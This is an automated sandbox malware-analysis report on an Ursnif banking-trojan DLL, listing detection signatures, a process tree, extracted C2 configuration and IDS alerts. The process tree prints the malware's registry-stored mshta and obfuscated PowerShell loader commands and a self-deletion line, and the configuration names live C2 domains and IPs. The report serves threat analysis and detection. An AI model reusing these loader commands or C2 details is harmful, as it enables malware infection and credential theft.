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Windows Analysis Report
lokvQRcUe0

Overview

General Information

Sample Name:lokvQRcUe0 (renamed file extension from none to dll)
Analysis ID:634419
MD5:5de5e3440620950f0be99fc6728c7afe
SHA1:43cbdfe6773ce518847b89f177a555e6bece283b
SHA256:2d83e172a42b032b32606b203f2a1a9736acfd86e76ede8ff57b3292c035d139
Tags:dllgozi_ifsb
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Maps a DLL or memory area into another process
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
One or more processes crash
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Found evasive API chain (date check)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

  • System is w10x64
  • loaddll32.exe (PID: 6352 cmdline: loaddll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6360 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 6380 cmdline: rundll32.exe "C:\Users\user\Desktop\lokvQRcUe0.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 2388 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
    • WerFault.exe (PID: 6440 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 272 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6616 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 396 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
    • WerFault.exe (PID: 6836 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 424 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
  • mshta.exe (PID: 6356 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Kxac='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kxac).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6564 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ltqefvure -value gp; new-alias -name vftdnxvda -value iex; vftdnxvda ([System.Text.Encoding]::ASCII.GetString((ltqefvure "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 4588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 7044 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\b5khtopv.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 7020 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE691.tmp" "c:\Users\user\AppData\Local\Temp\CSC7CF5F35C720441118B71E863AB44B87A.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 6644 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\kikzslfg.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 4600 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESFE5F.tmp" "c:\Users\user\AppData\Local\Temp\CSC72CD5E3A7BFC47C08453C5B847B47E88.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • explorer.exe (PID: 3968 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
        • cmd.exe (PID: 5580 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\lokvQRcUe0.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
          • conhost.exe (PID: 6024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
  • cleanup
{"RSA Public Key": "WNd6IZBAE2hic5I1vBvTbN5vraX26aprGyHDrt/+eglFMVKwHFISXmgegfDVQ9JN9IUBekU+LfpLvYZv7zcwNdRn5M8aw4eWI4bhXGfXhg2rVYeSiUnG1MC8lOzPSzU/SYBFMQ3nL+vB66ov2XPPmoP4rSDS0CC6n6OlCY+w5hwtLwivxH53vqcLh3WTh2ZNXxBC6Zc4STr3Ek0KlqqVtSr6/5fGwBuo8VUIBdXBWxDjxcGYyua+/PQsbUFFnwV7HET72C1unl+X1RemGW2bFwrlyX4Q85gTacSXgMufXChh3wAcaiq0qhw5JwdEPrdIO+t+/C9wfw4K/YIRIDiXpoorOLszNh6osFoQvZIrAl8=", "c2_domain": ["cabrioxmdes.at", "gamexperts.net", "37.10.71.138", "185.158.250.51"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
SourceRuleDescriptionAuthorStrings
00000002.00000002.454256752.00000000051BF000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
    00000002.00000002.454031315.0000000004F60000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
      00000002.00000003.393059229.0000000006318000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000002.00000003.294681357.0000000005538000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000002.00000003.339689659.000000000543A000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
            Click to see the 22 entries
            SourceRuleDescriptionAuthorStrings
            2.3.rundll32.exe.4d994a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              2.3.rundll32.exe.4d994a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                2.2.rundll32.exe.4a10000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  2.3.rundll32.exe.543a4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    2.3.rundll32.exe.54e6b48.1.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 2 entries
                      No Sigma rule has matched
                      Timestamp:192.168.2.313.107.42.1649743802033203 05/26/22-04:06:31.790854
                      SID:2033203
                      Source Port:49743
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:192.168.2.3176.10.119.6849752802033204 05/26/22-04:06:53.058632
                      SID:2033204
                      Source Port:49752
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected
                      Timestamp:192.168.2.3176.10.119.6849752802033203 05/26/22-04:06:53.058632
                      SID:2033203
                      Source Port:49752
                      Destination Port:80
                      Protocol:TCP
                      Classtype:A Network Trojan was detected

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